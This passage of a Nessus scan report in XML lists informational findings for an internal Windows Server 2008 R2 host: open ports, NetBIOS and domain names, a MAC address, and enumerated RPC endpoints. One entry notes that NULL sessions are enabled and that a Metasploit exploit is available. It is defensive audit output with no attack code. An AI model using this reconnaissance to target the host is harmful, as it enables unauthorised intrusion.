11016 <plugin_type>remote</plugin_type>
11017 <risk_factor>None</risk_factor>
11018 <script_version>$Revision: 1.123 $</script_version>
11019 <solution>n/a</solution>
11020 <synopsis>The remote service could be identified.</synopsis>
11021 <plugin_output>A web server is running on this port.</plugin_output>
11022 </ReportItem>
11023 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="46215" pluginName="Inconsistent Hostname and IP Address" pluginFamily="Settings">
11024 <description>The name of this machine either does not resolve or resolves to a different IP address.
11025
11026 This may come from a badly configured reverse DNS or from a host file in use on the Nessus scanning host.
11027
11028 As a result, URLs in plugin output may not be directly usable in a web browser and some web tests may be incomplete.</description>
11029 <fname>bad_rdns.nasl</fname>
11030 <plugin_modification_date>2011/10/06</plugin_modification_date>
11031 <plugin_name>Inconsistent Hostname and IP Address</plugin_name>
11032 <plugin_publication_date>2010/05/03</plugin_publication_date>
11033 <plugin_type>remote</plugin_type>
11034 <risk_factor>None</risk_factor>
11035 <script_version>1.6</script_version>
11036 <solution>Fix the reverse DNS or host file.</solution>
11037 <synopsis>The remote host&apos;s hostname is not consistent with DNS information.</synopsis>
11038 <plugin_output>The host name &apos;qa3app02&apos; does not resolve to an IP address</plugin_output>
11039 </ReportItem>
11040 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="12053" pluginName="Host Fully Qualified Domain Name (FQDN) Resolution" pluginFamily="General">
11041 <description>Nessus was able to resolve the FQDN of the remote host.</description>
11042 <fname>fqdn.nasl</fname>
11043 <plugin_modification_date>2012/09/28</plugin_modification_date>
11044 <plugin_name>Host Fully Qualified Domain Name (FQDN) Resolution</plugin_name>
11045 <plugin_publication_date>2004/02/11</plugin_publication_date>
11046 <plugin_type>remote</plugin_type>
11047 <risk_factor>None</risk_factor>
11048 <script_version>$Revision: 1.12 $</script_version>
11049 <solution>n/a</solution>
11050 <synopsis>It was possible to resolve the name of the remote host.</synopsis>
11051 <plugin_output>
11052 10.31.112.22 resolves as qa3app02.
11053 </plugin_output>
11054 </ReportItem>
11055 <ReportItem port="0" svc_name="general" protocol="udp" severity="0" pluginID="10287" pluginName="Traceroute Information" pluginFamily="General">
11056 <description>Makes a traceroute to the remote host.</description>
11057 <fname>traceroute.nasl</fname>
11058 <plugin_modification_date>2013/04/11</plugin_modification_date>
11059 <plugin_name>Traceroute Information</plugin_name>
11060 <plugin_publication_date>1999/11/27</plugin_publication_date>
11061 <plugin_type>remote</plugin_type>
11062 <risk_factor>None</risk_factor>
11063 <script_version>1.62</script_version>
11064 <solution>n/a</solution>
11065 <synopsis>It was possible to obtain traceroute information.</synopsis>
11066 <plugin_output>For your information, here is the traceroute from 172.16.138.174 to 10.31.112.22 :
11067 172.16.138.174
11068 172.16.138.2
11069 10.31.112.22
11070 </plugin_output>
11071 </ReportItem>
11072 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="24786" pluginName="Nessus Windows Scan Not Performed with Admin Privileges" pluginFamily="Settings">
11073 <cpe>cpe:/o:microsoft:windows</cpe>
11074 <description>The Nessus scanner testing the remote host has been given SMB credentials to log into the remote host, however these credentials do not have administrative privileges.
11075
11076 Typically, when Nessus performs a patch audit, it logs into the remote host and reads the version of the DLLs on the remote host to determine if a given patch has been applied or not. This is the method Microsoft recommends to determine if a patch has been applied.
11077
11078 If your Nessus scanner does not have administrative privileges when doing a scan, then Nessus has to fall back to perform a patch audit through the registry which may lead to false positives (especially when using third-party patch auditing tools) or to false negatives (not all patches can be detected through the registry).</description>
11079 <fname>smb_scan_not_admin.nasl</fname>
11080 <plugin_modification_date>2013/01/07</plugin_modification_date>
11081 <plugin_name>Nessus Windows Scan Not Performed with Admin Privileges</plugin_name>
11082 <plugin_publication_date>2007/03/12</plugin_publication_date>
11083 <plugin_type>local</plugin_type>
11084 <risk_factor>None</risk_factor>
11085 <script_version>$Revision: 1.11 $</script_version>
11086 <solution>Reconfigure your scanner to use credentials with administrative privileges.</solution>
11087 <synopsis>The Nessus scan of this host may be incomplete due to insufficient privileges provided.</synopsis>
11088 <plugin_output>
11089 It was not possible to connect to &apos;\\QA3APP02\ADMIN$&apos; with the supplied credentials.
11090 </plugin_output>
11091 </ReportItem>
11092 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="26917" pluginName="Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry" pluginFamily="Windows">
11093 <description>It was not possible to connect to PIPE\winreg on the remote host.
11094
11095 If you intend to use Nessus to perform registry-based checks, the registry checks will not work because the &apos;Remote Registry Access&apos; service (winreg) has been disabled on the remote host or can not be connected to with the supplied credentials.</description>
11096 <fname>smb_registry_fail.nasl</fname>
11097 <plugin_modification_date>2011/03/27</plugin_modification_date>
11098 <plugin_name>Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry</plugin_name>
11099 <plugin_publication_date>2007/10/04</plugin_publication_date>
11100 <plugin_type>local</plugin_type>
11101 <risk_factor>None</risk_factor>
11102 <script_version>$Revision: 1.10 $</script_version>
11103 <solution>n/a</solution>
11104 <synopsis>Nessus is not able to access the remote Windows Registry.</synopsis>
11105 <plugin_output>Could not connect to the registry because:
11106 Could not connect to \winreg</plugin_output>
11107 </ReportItem>
11108 <ReportItem port="7001" svc_name="remoting_tcp" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
11109 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
11110 It shall be reasonably quick even against a firewalled target.
11111
11112 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
11113 <fname>nessus_syn_scanner.nbin</fname>
11114 <plugin_modification_date>2011/04/05</plugin_modification_date>
11115 <plugin_name>Nessus SYN scanner</plugin_name>
11116 <plugin_type>remote</plugin_type>
11117 <risk_factor>None</risk_factor>
11118 <script_version>$Revision: 1.14 $</script_version>
11119 <solution>Protect your target with an IP filter.</solution>
11120 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
11121 <plugin_output>Port 7001/tcp was found to be open</plugin_output>
11122 </ReportItem>
11123 <ReportItem port="10002" svc_name="www" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
11124 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
11125 It shall be reasonably quick even against a firewalled target.
11126
11127 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
11128 <fname>nessus_syn_scanner.nbin</fname>
11129 <plugin_modification_date>2011/04/05</plugin_modification_date>
11130 <plugin_name>Nessus SYN scanner</plugin_name>
11131 <plugin_type>remote</plugin_type>
11132 <risk_factor>None</risk_factor>
11133 <script_version>$Revision: 1.14 $</script_version>
11134 <solution>Protect your target with an IP filter.</solution>
11135 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
11136 <plugin_output>Port 10002/tcp was found to be open</plugin_output>
11137 </ReportItem>
11138 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
11139 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
11140 It shall be reasonably quick even against a firewalled target.
11141
11142 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
11143 <fname>nessus_syn_scanner.nbin</fname>
11144 <plugin_modification_date>2011/04/05</plugin_modification_date>
11145 <plugin_name>Nessus SYN scanner</plugin_name>
11146 <plugin_type>remote</plugin_type>
11147 <risk_factor>None</risk_factor>
11148 <script_version>$Revision: 1.14 $</script_version>
11149 <solution>Protect your target with an IP filter.</solution>
11150 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
11151 <plugin_output>Port 3389/tcp was found to be open</plugin_output>
11152 </ReportItem>
11153 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
11154 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
11155 It shall be reasonably quick even against a firewalled target.
11156
11157 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
11158 <fname>nessus_syn_scanner.nbin</fname>
11159 <plugin_modification_date>2011/04/05</plugin_modification_date>
11160 <plugin_name>Nessus SYN scanner</plugin_name>
11161 <plugin_type>remote</plugin_type>
11162 <risk_factor>None</risk_factor>
11163 <script_version>$Revision: 1.14 $</script_version>
11164 <solution>Protect your target with an IP filter.</solution>
11165 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
11166 <plugin_output>Port 445/tcp was found to be open</plugin_output>
11167 </ReportItem>
11168 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
11169 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
11170 It shall be reasonably quick even against a firewalled target.
11171
11172 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
11173 <fname>nessus_syn_scanner.nbin</fname>
11174 <plugin_modification_date>2011/04/05</plugin_modification_date>
11175 <plugin_name>Nessus SYN scanner</plugin_name>
11176 <plugin_type>remote</plugin_type>
11177 <risk_factor>None</risk_factor>
11178 <script_version>$Revision: 1.14 $</script_version>
11179 <solution>Protect your target with an IP filter.</solution>
11180 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
11181 <plugin_output>Port 80/tcp was found to be open</plugin_output>
11182 </ReportItem>
11183 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
11184 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
11185 It shall be reasonably quick even against a firewalled target.
11186
11187 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
11188 <fname>nessus_syn_scanner.nbin</fname>
11189 <plugin_modification_date>2011/04/05</plugin_modification_date>
11190 <plugin_name>Nessus SYN scanner</plugin_name>
11191 <plugin_type>remote</plugin_type>
11192 <risk_factor>None</risk_factor>
11193 <script_version>$Revision: 1.14 $</script_version>
11194 <solution>Protect your target with an IP filter.</solution>
11195 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
11196 <plugin_output>Port 135/tcp was found to be open</plugin_output>
11197 </ReportItem>
11198 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11219" pluginName="Nessus SYN scanner" pluginFamily="Port scanners">
11199 <description>This plugin is a SYN &apos;half-open&apos; port scanner.
11200 It shall be reasonably quick even against a firewalled target.
11201
11202 Note that SYN scanners are less intrusive than TCP (full connect) scanners against broken services, but they might kill lame misconfigured firewalls. They might also leave unclosed connections on the remote target, if the network is loaded.</description>
11203 <fname>nessus_syn_scanner.nbin</fname>
11204 <plugin_modification_date>2011/04/05</plugin_modification_date>
11205 <plugin_name>Nessus SYN scanner</plugin_name>
11206 <plugin_type>remote</plugin_type>
11207 <risk_factor>None</risk_factor>
11208 <script_version>$Revision: 1.14 $</script_version>
11209 <solution>Protect your target with an IP filter.</solution>
11210 <synopsis>It is possible to determine which TCP ports are open.</synopsis>
11211 <plugin_output>Port 139/tcp was found to be open</plugin_output>
11212 </ReportItem>
11213 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10394" pluginName="Microsoft Windows SMB Log In Possible" pluginFamily="Windows">
11214 <description>The remote host is running Microsoft Windows operating system or Samba, a CIFS/SMB server for Unix. It was possible to log into it using one of the following accounts :
11215
11216 - NULL session
11217 - Guest account
11218 - Given Credentials</description>
11219 <exploit_available>true</exploit_available>
11220 <exploit_framework_metasploit>true</exploit_framework_metasploit>
11221 <exploitability_ease>Exploits are available</exploitability_ease>
11222 <fname>smb_login.nasl</fname>
11223 <metasploit_name>Microsoft Windows Authenticated User Code Execution</metasploit_name>
11224 <plugin_modification_date>2013/04/23</plugin_modification_date>
11225 <plugin_name>Microsoft Windows SMB Log In Possible</plugin_name>
11226 <plugin_publication_date>2000/05/09</plugin_publication_date>
11227 <plugin_type>remote</plugin_type>
11228 <risk_factor>None</risk_factor>
11229 <script_version>$Revision: 1.136 $</script_version>
11230 <see_also>http://support.microsoft.com/kb/143474
11231 http://support.microsoft.com/kb/246261</see_also>
11232 <solution>n/a</solution>
11233 <synopsis>It is possible to log into the remote host.</synopsis>
11234 <vuln_publication_date>1999/01/01</vuln_publication_date>
11235 <plugin_output>- NULL sessions are enabled on the remote host
11236 </plugin_output>
11237 </ReportItem>
11238 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10785" pluginName="Microsoft Windows SMB NativeLanManager Remote System Information Disclosure" pluginFamily="Windows">
11239 <description>It is possible to get the remote operating system name and version (Windows and/or Samba) by sending an authentication request to port 139 or 445.</description>
11240 <fname>smb_nativelanman.nasl</fname>
11241 <plugin_modification_date>2013/06/25</plugin_modification_date>
11242 <plugin_name>Microsoft Windows SMB NativeLanManager Remote System Information Disclosure</plugin_name>
11243 <plugin_publication_date>2001/10/17</plugin_publication_date>
11244 <plugin_type>remote</plugin_type>
11245 <risk_factor>None</risk_factor>
11246 <script_version>$Revision: 1.40 $</script_version>
11247 <solution>n/a</solution>
11248 <synopsis>It is possible to obtain information about the remote operating system.</synopsis>
11249 <plugin_output>The remote Operating System is : Windows Server 2008 R2 Standard 7601 Service Pack 1
11250 The remote native lan manager is : Windows Server 2008 R2 Standard 6.1
11251 The remote SMB Domain Name is : RB
11252 </plugin_output>
11253 </ReportItem>
11254 <ReportItem port="137" svc_name="netbios-ns" protocol="udp" severity="0" pluginID="10150" pluginName="Windows NetBIOS / SMB Remote Host Information Disclosure" pluginFamily="Windows">
11255 <description>The remote host listens on UDP port 137 or TCP port 445 and replies to NetBIOS nbtscan or SMB requests.
11256
11257 Note that this plugin gathers information to be used in other plugins but does not itself generate a report.</description>
11258 <fname>netbios_name_get.nasl</fname>
11259 <plugin_modification_date>2013/01/16</plugin_modification_date>
11260 <plugin_name>Windows NetBIOS / SMB Remote Host Information Disclosure</plugin_name>
11261 <plugin_publication_date>1999/10/12</plugin_publication_date>
11262 <plugin_type>remote</plugin_type>
11263 <risk_factor>None</risk_factor>
11264 <script_version>$Revision: 1.77 $</script_version>
11265 <solution>n/a</solution>
11266 <synopsis>It is possible to obtain the network name of the remote host.</synopsis>
11267 <plugin_output>The following 3 NetBIOS names have been gathered :
11268
11269 QA3APP02 = File Server Service
11270 QA3APP02 = Computer name
11271 RB = Workgroup / Domain name
11272
11273 The remote host has the following MAC address on its adapter :
11274
11275 00:50:56:81:01:db</plugin_output>
11276 </ReportItem>
11277 <ReportItem port="49152" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
11278 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
11279 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
11280 <fname>dcetest.nasl</fname>
11281 <plugin_modification_date>2012/01/31</plugin_modification_date>
11282 <plugin_name>DCE Services Enumeration</plugin_name>
11283 <plugin_publication_date>2001/08/26</plugin_publication_date>
11284 <plugin_type>local</plugin_type>
11285 <risk_factor>None</risk_factor>
11286 <script_version>$Revision: 1.50 $</script_version>
11287 <solution>n/a</solution>
11288 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
11289 <plugin_output>
11290 The following DCERPC services are available on TCP port 49152 :
11291
11292 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
11293 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
11294 Description : Unknown RPC service
11295 Type : Remote RPC service
11296 TCP Port : 49152
11297 IP : 10.31.112.22
11298
11299 </plugin_output>
11300 </ReportItem>
11301 <ReportItem port="49153" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
11302 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
11303 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
11304 <fname>dcetest.nasl</fname>
11305 <plugin_modification_date>2012/01/31</plugin_modification_date>
11306 <plugin_name>DCE Services Enumeration</plugin_name>
11307 <plugin_publication_date>2001/08/26</plugin_publication_date>
11308 <plugin_type>local</plugin_type>
11309 <risk_factor>None</risk_factor>
11310 <script_version>$Revision: 1.50 $</script_version>
11311 <solution>n/a</solution>
11312 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
11313 <plugin_output>
11314 The following DCERPC services are available on TCP port 49153 :
11315
11316 Object UUID : 00000000-0000-0000-0000-000000000000
11317 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
11318 Description : DHCP Client Service
11319 Windows process : svchost.exe
11320 Annotation : DHCP Client LRPC Endpoint
11321 Type : Remote RPC service
11322 TCP Port : 49153
11323 IP : 10.31.112.22
11324
11325 Object UUID : 00000000-0000-0000-0000-000000000000
11326 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
11327 Description : Unknown RPC service
11328 Annotation : Event log TCPIP
11329 Type : Remote RPC service
11330 TCP Port : 49153
11331 IP : 10.31.112.22
11332
11333 Object UUID : 00000000-0000-0000-0000-000000000000
11334 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
11335 Description : Unknown RPC service
11336 Annotation : NRP server endpoint
11337 Type : Remote RPC service
11338 TCP Port : 49153
11339 IP : 10.31.112.22
11340
11341 Object UUID : 00000000-0000-0000-0000-000000000000
11342 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
11343 Description : Unknown RPC service
11344 Annotation : DHCPv6 Client LRPC Endpoint
11345 Type : Remote RPC service
11346 TCP Port : 49153
11347 IP : 10.31.112.22
11348
11349 </plugin_output>
11350 </ReportItem>
11351 <ReportItem port="49188" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
11352 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
11353 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
11354 <fname>dcetest.nasl</fname>
11355 <plugin_modification_date>2012/01/31</plugin_modification_date>
11356 <plugin_name>DCE Services Enumeration</plugin_name>
11357 <plugin_publication_date>2001/08/26</plugin_publication_date>
11358 <plugin_type>local</plugin_type>
11359 <risk_factor>None</risk_factor>
11360 <script_version>$Revision: 1.50 $</script_version>
11361 <solution>n/a</solution>
11362 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
11363 <plugin_output>
11364 The following DCERPC services are available on TCP port 49188 :
11365
11366 Object UUID : 00000000-0000-0000-0000-000000000000
11367 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
11368 Description : Security Account Manager
11369 Windows process : lsass.exe
11370 Type : Remote RPC service
11371 TCP Port : 49188
11372 IP : 10.31.112.22
11373
11374 </plugin_output>
11375 </ReportItem>
11376 <ReportItem port="49154" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
11377 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
11378 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
11379 <fname>dcetest.nasl</fname>
11380 <plugin_modification_date>2012/01/31</plugin_modification_date>
11381 <plugin_name>DCE Services Enumeration</plugin_name>
11382 <plugin_publication_date>2001/08/26</plugin_publication_date>
11383 <plugin_type>local</plugin_type>
11384 <risk_factor>None</risk_factor>
11385 <script_version>$Revision: 1.50 $</script_version>
11386 <solution>n/a</solution>
11387 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
11388 <plugin_output>
11389 The following DCERPC services are available on TCP port 49154 :
11390
11391 Object UUID : 00000000-0000-0000-0000-000000000000
11392 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
11393 Description : Unknown RPC service
11394 Type : Remote RPC service
11395 TCP Port : 49154
11396 IP : 10.31.112.22
11397
11398 Object UUID : 00000000-0000-0000-0000-000000000000
11399 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
11400 Description : Unknown RPC service
11401 Annotation : IKE/Authip API
11402 Type : Remote RPC service
11403 TCP Port : 49154
11404 IP : 10.31.112.22
11405
11406 Object UUID : 00000000-0000-0000-0000-000000000000
11407 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
11408 Description : Unknown RPC service
11409 Annotation : IP Transition Configuration endpoint
11410 Type : Remote RPC service
11411 TCP Port : 49154
11412 IP : 10.31.112.22
11413
11414 Object UUID : 00000000-0000-0000-0000-000000000000
11415 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
11416 Description : Unknown RPC service
11417 Annotation : XactSrv service
11418 Type : Remote RPC service
11419 TCP Port : 49154
11420 IP : 10.31.112.22
11421
11422 Object UUID : 73736573-6f69-656e-6e76-000000000000
11423 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
11424 Description : Unknown RPC service
11425 Annotation : Impl friendly name
11426 Type : Remote RPC service
11427 TCP Port : 49154
11428 IP : 10.31.112.22
11429
11430 Object UUID : 00000000-0000-0000-0000-000000000000
11431 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
11432 Description : Unknown RPC service
11433 Type : Remote RPC service
11434 TCP Port : 49154
11435 IP : 10.31.112.22
11436
11437 </plugin_output>
11438 </ReportItem>
11439 <ReportItem port="49156" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
11440 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
11441 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
11442 <fname>dcetest.nasl</fname>
11443 <plugin_modification_date>2012/01/31</plugin_modification_date>
11444 <plugin_name>DCE Services Enumeration</plugin_name>
11445 <plugin_publication_date>2001/08/26</plugin_publication_date>
11446 <plugin_type>local</plugin_type>
11447 <risk_factor>None</risk_factor>
11448 <script_version>$Revision: 1.50 $</script_version>
11449 <solution>n/a</solution>
11450 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
11451 <plugin_output>
11452 The following DCERPC services are available on TCP port 49156 :
11453
11454 Object UUID : 00000000-0000-0000-0000-000000000000
11455 UUID : 6b5bdd1e-528c-422c-af8c-a4079be4fe48, version 1.0
11456 Description : Unknown RPC service
11457 Annotation : Remote Fw APIs
11458 Type : Remote RPC service
11459 TCP Port : 49156
11460 IP : 10.31.112.22
11461
11462 Object UUID : 00000000-0000-0000-0000-000000000000
11463 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
11464 Description : IPsec Services (Windows XP &amp; 2003)
11465 Windows process : lsass.exe
11466 Annotation : IPSec Policy agent endpoint
11467 Type : Remote RPC service
11468 TCP Port : 49156
11469 IP : 10.31.112.22
11470
11471 </plugin_output>
11472 </ReportItem>
11473 <ReportItem port="49155" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
11474 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
11475 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
11476 <fname>dcetest.nasl</fname>
11477 <plugin_modification_date>2012/01/31</plugin_modification_date>
11478 <plugin_name>DCE Services Enumeration</plugin_name>
11479 <plugin_publication_date>2001/08/26</plugin_publication_date>
11480 <plugin_type>local</plugin_type>
11481 <risk_factor>None</risk_factor>
11482 <script_version>$Revision: 1.50 $</script_version>
11483 <solution>n/a</solution>
11484 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
11485 <plugin_output>
11486 The following DCERPC services are available on TCP port 49155 :
11487
11488 Object UUID : 00000000-0000-0000-0000-000000000000
11489 UUID : 367abb81-9844-35f1-ad32-98f038001003, version 2.0
11490 Description : Unknown RPC service
11491 Type : Remote RPC service
11492 TCP Port : 49155
11493 IP : 10.31.112.22
11494
11495 </plugin_output>
11496 </ReportItem>
11497 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
11498 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
11499 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
11500 <fname>dcetest.nasl</fname>
11501 <plugin_modification_date>2012/01/31</plugin_modification_date>
11502 <plugin_name>DCE Services Enumeration</plugin_name>
11503 <plugin_publication_date>2001/08/26</plugin_publication_date>
11504 <plugin_type>local</plugin_type>
11505 <risk_factor>None</risk_factor>
11506 <script_version>$Revision: 1.50 $</script_version>
11507 <solution>n/a</solution>
11508 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
11509 <plugin_output>
11510 The following DCERPC services are available remotely :
11511
11512 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
11513 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
11514 Description : Unknown RPC service
11515 Type : Remote RPC service
11516 Named pipe : \PIPE\InitShutdown
11517 Netbios name : \\QA3APP02
11518
11519 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
11520 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
11521 Description : Unknown RPC service
11522 Type : Remote RPC service
11523 Named pipe : \PIPE\InitShutdown
11524 Netbios name : \\QA3APP02
11525
11526 Object UUID : 00000000-0000-0000-0000-000000000000
11527 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
11528 Description : Security Account Manager
11529 Windows process : lsass.exe
11530 Type : Remote RPC service
11531 Named pipe : \pipe\lsass
11532 Netbios name : \\QA3APP02
11533
11534 Object UUID : 00000000-0000-0000-0000-000000000000
11535 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
11536 Description : Security Account Manager
11537 Windows process : lsass.exe
11538 Type : Remote RPC service
11539 Named pipe : \PIPE\protected_storage
11540 Netbios name : \\QA3APP02
11541
11542 Object UUID : 00000000-0000-0000-0000-000000000000
11543 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
11544 Description : Unknown RPC service
11545 Annotation : WinHttp Auto-Proxy Service
11546 Type : Remote RPC service
11547 Named pipe : \PIPE\W32TIME_ALT
11548 Netbios name : \\QA3APP02
11549
11550 Object UUID : 00000000-0000-0000-0000-000000000000
11551 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
11552 Description : Scheduler Service
11553 Windows process : svchost.exe
11554 Type : Remote RPC service
11555 Named pipe : \PIPE\atsvc
11556 Netbios name : \\QA3APP02
11557
11558 Object UUID : 00000000-0000-0000-0000-000000000000
11559 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
11560 Description : Scheduler Service
11561 Windows process : svchost.exe
11562 Type : Remote RPC service
11563 Named pipe : \PIPE\atsvc
11564 Netbios name : \\QA3APP02
11565
11566 Object UUID : 00000000-0000-0000-0000-000000000000
11567 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
11568 Description : Unknown RPC service
11569 Type : Remote RPC service
11570 Named pipe : \PIPE\atsvc
11571 Netbios name : \\QA3APP02
11572
11573 Object UUID : 00000000-0000-0000-0000-000000000000
11574 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
11575 Description : Unknown RPC service
11576 Annotation : IKE/Authip API
11577 Type : Remote RPC service
11578 Named pipe : \PIPE\atsvc
11579 Netbios name : \\QA3APP02
11580
11581 Object UUID : 00000000-0000-0000-0000-000000000000
11582 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
11583 Description : Unknown RPC service
11584 Annotation : IP Transition Configuration endpoint
11585 Type : Remote RPC service
11586 Named pipe : \PIPE\atsvc
11587 Netbios name : \\QA3APP02
11588
11589 Object UUID : 00000000-0000-0000-0000-000000000000
11590 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
11591 Description : Unknown RPC service
11592 Annotation : XactSrv service
11593 Type : Remote RPC service
11594 Named pipe : \PIPE\atsvc
11595 Netbios name : \\QA3APP02
11596
11597 Object UUID : 73736573-6f69-656e-6e76-000000000000
11598 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
11599 Description : Unknown RPC service
11600 Annotation : Impl friendly name
11601 Type : Remote RPC service
11602 Named pipe : \PIPE\atsvc
11603 Netbios name : \\QA3APP02
11604
11605 Object UUID : 73736573-6f69-656e-6e76-000000000000
11606 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
11607 Description : Unknown RPC service
11608 Annotation : Impl friendly name
11609 Type : Remote RPC service
11610 Named pipe : \PIPE\srvsvc
11611 Netbios name : \\QA3APP02
11612
11613 Object UUID : 00000000-0000-0000-0000-000000000000
